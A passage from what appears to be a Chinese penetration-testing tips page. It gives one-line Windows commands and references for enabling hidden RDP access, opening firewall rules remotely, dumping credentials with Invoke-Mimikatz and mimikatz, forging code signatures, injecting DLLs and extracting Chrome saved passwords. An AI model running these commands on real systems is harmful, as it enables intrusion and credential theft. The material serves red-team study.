&lt;pre&gt;&lt;code&gt;REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;方法2：通过reg文件&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;内容如下：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;导入注册表：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;regedit /s a.reg&lt;/code&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;注：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修改连接端口重启后生效&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;补充&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果系统未配置过远程桌面服务，第一次开启时还需要添加防火墙规则，允许3389端口，命令如下:&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow&lt;/code&gt;&lt;h4 id="toc_95" class="h16"&gt;&lt;span class="span_for_h"&gt;3、远程连接方法&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;kali使用3389远程连接：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;rdesktop 192.168.1.1:3389&lt;/code&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;mstsc.exe&lt;/code&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;非服务器版本的Windows系统，默认只允许一个账户登录&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;具体表现为：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;远程登录时，使用与原系统相同的账户，原系统将被切换到登录界面&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用不同的账户，原系统桌面将弹框提示是否断开当前连接(30秒后默认选择同意)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;解决方法:&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用mimikatz.exe,执行&lt;code&gt;ts::multirdp&lt;/code&gt;允许多用户远程登录&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;能够实现不同帐户远程登录不冲突,原系统桌面不会弹框提示&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，使用与原系统相同的账户，原系统还是会被切换到登录界面&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;注：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;该方法在系统重启后失效，下次使用需要重新执行命令&lt;code&gt;ts::multirdp&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;也可通过修改文件termsrv.dll实现永久修改&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%9A%84%E5%A4%9A%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95/"&gt;《渗透技巧——Windows系统远程桌面的多用户登录》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_96" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 46 使用netsh修改远程系统的防火墙规则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;远程系统需要&lt;code&gt;允许Windows防火墙远程管理&lt;/code&gt;,开启命令如下：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;netsh advfirewall set currentprofile settings remotemanagement enable&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8DCOM%E5%9C%A8%E8%BF%9C%E7%A8%8B%E7%B3%BB%E7%BB%9F%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F/"&gt;《域渗透——利用DCOM在远程系统执行程序》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_97" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 47 劫持UAC&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当弹出UAC提示框的时候，执行任意代码,可通过修改注册表劫持签名验证的功能，插入payload&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Authenticode%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-PE%E6%96%87%E4%BB%B6%E7%9A%84%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0%E4%B8%8E%E7%AD%BE%E5%90%8D%E9%AA%8C%E8%AF%81%E5%8A%AB%E6%8C%81/"&gt;《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_98" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 48 PE文件的Authenticode签名伪造&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过修改注册表，能够给PE文件添加微软证书&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Authenticode%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-PE%E6%96%87%E4%BB%B6%E7%9A%84%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0%E4%B8%8E%E7%AD%BE%E5%90%8D%E9%AA%8C%E8%AF%81%E5%8A%AB%E6%8C%81/"&gt;《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Authenticode%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-%E9%92%88%E5%AF%B9%E6%96%87%E4%BB%B6%E7%B1%BB%E5%9E%8B%E7%9A%84%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0/"&gt;《Authenticode签名伪造——针对文件类型的签名伪造》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_99" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 49 PE文件的Catalog签名伪造&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;构造Long UNC文件名，实现文件名欺骗，获得Catalog签名&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Catalog%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-Long-UNC%E6%96%87%E4%BB%B6%E5%90%8D%E6%AC%BA%E9%AA%97/"&gt;《Catalog签名伪造——Long UNC文件名欺骗》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_100" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 50 mklink&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;用于创建符号链接，可理解为快捷方式&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;创建目录c:\test\1，指向c:\temp，可使用以下操作：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(1) 使用/D参数命令创建一个链接：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;mklink /D &amp;quot;c:\test\1&amp;quot; &amp;quot;c:\Temp&amp;quot;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(2) 使用/J参数命令创建一个联接：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;mklink /J &amp;quot;c:\test\1&amp;quot; &amp;quot;c:\Temp&amp;quot;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;差异：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用/D参数创建的链接，文件属性多了&amp;quot;快捷方式&amp;quot;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用/J不需要管理员权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用/D需要管理员权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;应用：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;更改释放文件的路径 &lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_101" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 51 powershell在执行脚本时传入参数&lt;/span&gt;&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -DumpCerts"

powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command ""log ""privilege::debug"" ""sekurlsa::logonpasswords"""""&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_102" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 52 dll注入方法&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_103" class="h16"&gt;&lt;span class="span_for_h"&gt;1、APC&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/"&gt;《通过APC实现Dll注入——绕过Sysmon监控》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_104" class="h16"&gt;&lt;span class="span_for_h"&gt;2、process hollowing&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%82%80%E5%84%A1%E8%BF%9B%E7%A8%8B%E7%9A%84%E5%AE%9E%E7%8E%B0%E4%B8%8E%E6%A3%80%E6%B5%8B/"&gt;《傀儡进程的实现与检测》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_105" class="h16"&gt;&lt;span class="span_for_h"&gt;3、Process Doppelgänging&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Process-Doppelganging%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D/"&gt;《Process Doppelganging利用介绍》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_106" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 53 域内默认共享目录&lt;/span&gt;&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;\\&amp;lt;DOMAIN&amp;gt;\SYSVOL\&amp;lt;DOMAIN&amp;gt;\&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;所有域内主机都能访问，里面保存组策略相关数据，包含登录脚本配置文件等&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8SYSVOL%E8%BF%98%E5%8E%9F%E7%BB%84%E7%AD%96%E7%95%A5%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/"&gt;《域渗透——利用SYSVOL还原组策略中保存的密码》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_107" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 54 你的TeamViewer有可能被反控&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果你的TeamViewer版本为&lt;code&gt;13.0.5058&lt;/code&gt;，不要随意连接未知的TeamViewer服务器，有可能被反控&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/TeamViewer-13.0.5058%E4%B8%AD%E7%9A%84%E6%9D%83%E9%99%90%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95/"&gt;《TeamViewer 13.0.5058中的权限漏洞测试》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_108" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 55 远程查看域控登录、注销相关的日志：&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_109" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1:&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;&lt;h4 id="toc_110" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(不推荐，直接下载文件太大)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;获取域控文件:&lt;code&gt;C:\Windows\System32\winevt\Logs\Security.evtx&lt;/code&gt;，筛选事件4624/4623/4672&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_111" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 56 判断当前系统是否处在待机状态&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;锁屏状态下GetForegroundWindow()的函数返回值为NULL，非锁屏状态下GetForegroundWindow()的函数返回值为一个非零的值&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Powershell脚本实现：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Writeup/blob/master/CheckStandby.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_112" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 57 获得当前系统用户无输入的时间&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过API GetIdleTime进行判断&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;c#实现：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://www.codeproject.com/Articles/13384/Getting-the-user-idle-time-with-C&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;powershell脚本实现：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Writeup/blob/master/GetIdleTime.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_113" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 58 判断当前系统的屏保启动时间&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;判断是否开启屏保：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;查找注册表&lt;code&gt;HKEY_CURRENT_USER\Control Panel\Desktop&lt;/code&gt;，是否存在键值&lt;code&gt;SCRNSAVE.EXE&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果开启屏保，查看键值&lt;code&gt;ScreenSaveTimeOut&lt;/code&gt;获得屏保启动时间(以秒为单位)&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeOut&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_114" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 59 隐藏指定进程的界面&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过API ShowWindowAsync改变窗口状态&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过powershell实现，脚本可参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Writeup/blob/master/HiddenProcess.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_115" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 60 通过Powershell对Windows系统截屏&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;脚本下载地址：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://gallery.technet.microsoft.com/scriptcenter/eeff544a-f690-4f6b-a586-11eea6fc5eb8/file/50729/1/Take-ScreenShot.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_116" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 61 查看当前Windows系统已安装的程序&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过枚举注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall下所有子健的DisplayName获取&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;注：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;64位系统下32位程序的目录为&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;powershell脚本实现的参考地址：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/ListInstalledPrograms&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_117" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 62 通过wmi获得当前系统的类型&lt;/span&gt;&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ComputerSystem get PCSystemType /FORMAT:list&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;|Value|Meaning|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;| - | - |&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|0 (0x0) |Unspecified|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|1 (0x1) |Desktop|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|2 (0x2) |Mobile|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|3 (0x3) |Workstation|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|4 (0x4) |Enterprise Server|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|5 (0x5) |Small Office and Home Office (SOHO) Server|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|6 (0x6) |Appliance PC|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|7 (0x7) |Performance Server|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;|8 (0x8) |Maximum|&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_2"&gt;&lt;/span&gt;
&lt;hr&gt;
&lt;h3 id="toc_118" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 63 导出Chrome浏览器保存的密码：&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_119" class="h16"&gt;&lt;span class="span_for_h"&gt;1、在线获取&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;方法1:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;读取数据库文件&lt;code&gt;%LocalAppData%\Google\Chrome\User Data\Default\Login Data&lt;/code&gt;，如果Chrome浏览器正在运行，无法直接读取，需要先复制&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;在当前系统调用API CryptUnprotectData直接解密&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;方法2:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;mimikatz&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;vault::cred&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
